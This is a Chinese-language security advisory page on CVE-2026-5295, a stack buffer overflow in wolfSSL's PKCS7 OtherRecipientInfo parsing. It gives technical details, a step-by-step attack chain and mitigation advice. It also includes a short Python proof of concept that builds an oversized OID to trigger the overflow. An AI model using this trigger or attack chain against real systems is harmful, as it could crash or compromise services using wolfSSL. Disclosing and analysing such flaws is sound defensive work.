IPBUF安全漏洞报告
English
CVE-2026-5295 CVSS 8.0 高危

CVE-2026-5295 wolfSSL PKCS7栈缓冲区溢出漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5295
漏洞类型
栈缓冲区溢出
CVSS评分
8.0 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
wolfSSL

相关标签

栈缓冲区溢出wolfSSLPKCS7CVE-2026-5295RCE

漏洞概述

wolfSSL的PKCS7实现中存在栈缓冲区溢出漏洞。该漏洞位于wc_PKCS7_DecryptOri函数,当处理包含OtherRecipientInfo (ORI)的CMS EnvelopedData消息时,由于未校验ASN.1解析的OID长度,直接将其复制到32字节固定栈缓冲区,导致溢出。

技术细节

该漏洞源于wolfSSL库中wolfcrypt/src/pkcs7.c文件的wc_PKCS7_DecryptOri函数。在处理CMS EnvelopedData消息时,若消息包含OtherRecipientInfo (ORI)收件人,程序会将ASN.1解析出的OID通过XMEMCPY复制到固定大小的栈缓冲区oriOID[MAX_OID_SZ](大小为32字节)中。由于代码未在复制前校验OID长度是否超过MAX_OID_SZ,攻击者可发送包含超长OID的特制CMS消息触发栈溢出。成功利用需满足两个前提:1. wolfSSL编译时启用了--enable-pkcs7(默认禁用);2. 应用调用了wc_PKCS7_SetOriDecryptCb()注册回调。攻击者需位于邻接网络并诱导用户处理恶意消息。

攻击链分析

STEP 1
侦察
攻击者识别目标系统使用了启用了--enable-pkcs7选项编译的wolfSSL库,并且应用程序注册了ORI解密回调。
STEP 2
武器化
攻击者构造一个特制的CMS EnvelopedData消息,其中包含OtherRecipientInfo,且其OID字段长度超过32字节(如33字节)。
STEP 3
投递
攻击者通过邻接网络(AV:A)将特制的CMS消息发送给目标应用程序。
STEP 4
利用
目标应用程序处理该消息,调用wc_PKCS7_DecryptOri函数。由于未进行长度检查,XMEMCPY将过长的OID复制到栈缓冲区oriOID,导致栈缓冲区溢出。
STEP 5
影响
缓冲区溢出可能导致拒绝服务(DoS),或在特定条件下覆盖返回地址,实现任意代码执行(C:H/I:H/A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-5295 (wolfSSL Stack Buffer Overflow) This script demonstrates the creation of a malformed CMS EnvelopedData message with an OtherRecipientInfo containing a long OID (> 32 bytes) to trigger the overflow. """ import binascii def create_malformed_oid(): # Construct an ASN.1 Object Identifier with a length > 32 bytes (MAX_OID_SZ) # Tag: 0x06 (OID), Length: 0x21 (33 bytes) oid_tag = 0x06 oid_length = 0x21 # 33 bytes, exceeds MAX_OID_SZ (32) oid_payload = b'A' * 33 malformed_oid = bytes([oid_tag, oid_length]) + oid_payload return malformed_oid def generate_exploit_cms(): # This is a simplified representation of the crafted CMS structure. # In a real exploit, this would be wrapped in a valid CMS EnvelopedData # structure targeting the wc_PKCS7_DecryptOri parsing logic. exploit_data = create_malformed_oid() print(f"[+] Generated malformed OID length: {len(exploit_data)} bytes") print(f"[+] Hex data: {binascii.hexlify(exploit_data).decode()}") print("[+] Send this data within a CMS EnvelopedData OtherRecipientInfo structure.") return exploit_data if __name__ == "__main__": generate_exploit_cms()

影响范围

wolfSSL (特定未修复版本)

防御指南

临时缓解措施
建议用户在编译wolfSSL时禁用PKCS7支持(即不使用--enable-pkcs7),除非业务必须。对于已部署的环境,应限制对处理CMS消息接口的访问权限,并尽快应用官方补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表